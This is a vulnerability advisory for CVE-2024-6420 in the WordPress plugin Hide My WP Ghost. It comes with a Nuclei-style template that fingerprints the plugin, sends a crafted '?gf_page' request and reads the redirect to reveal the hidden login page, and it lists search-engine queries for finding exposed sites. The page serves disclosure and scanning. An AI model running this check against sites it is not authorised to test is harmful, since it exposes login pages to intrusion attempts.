CVE-2024-6420: Hide My WP Ghost < 5.2.02 - Hidden Login Page Disclosure

2025-08-01 Hide My WP Ghost PoC Public

Description

The Hide My WP Ghost plugin does not prevent redirects to the login page via the auth_redirect WordPress function, allowing an unauthenticated visitor to access the hidden login page.

PoC

id: CVE-2024-6420

info:
  name: Hide My WP Ghost < 5.2.02 - Hidden Login Page Disclosure
  author: jpg0mez
  severity: high
  description: |
    The Hide My WP Ghost plugin does not prevent redirects to the login page via the auth_redirect WordPress function, allowing an unauthenticated visitor to access the hidden login page.
  impact: |
    Unauthenticated attackers can discover and access the hidden WordPress login page through auth_redirect exploitation, bypassing the plugin's security obfuscation.
  remediation: |
    Update Hide My WP Ghost plugin to version 5.2.02 or later to address the login page disclosure vulnerability.
  reference:
    - https://wpscan.com/vulnerability/dfda6577-81aa-4397-a2d6-1d736f9ebd44/
    - https://www.sprocketsecurity.com/resources/discovering-wp-admin-urls-in-wordpress-with-gravityforms/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6420
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
    cvss-score: 8.6
    cve-id: CVE-2024-6420
    epss-score: 0.018
    epss-percentile: 0.77383
  metadata:
    verified: true
    max-request: 2
    framework: wordpress
    fofa-query: body="/wp-content/plugins/hide-my-wp"
    publicwww-query: "/wp-content/plugins/hide-my-wp/"
  tags: cve,cve2024,bypass,wp,wp-plugin,wpscan,wordpress,hide-my-wp,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/hide-my-wp")'
          - 'status_code == 200'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?gf_page=randomstring"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "!contains(tolower(location), 'wp-login.php')"

      - type: word
        part: header
        words:
          - '%2F%3Fgf_page%3Drandomstring&reauth=1'

    extractors:
      - type: kval
        kval:
          - location
# digest: 4a0a004730450220683062405c60940d04189baafc215e49724c0c5bdc32071b935c5c8b615f6baf022100e2b18b17292698eb9e7443bcd33505b1ca1829bfbbbe2fcdfbdaa04436e1716d:922c64590222798bb761d5b6d8e72950

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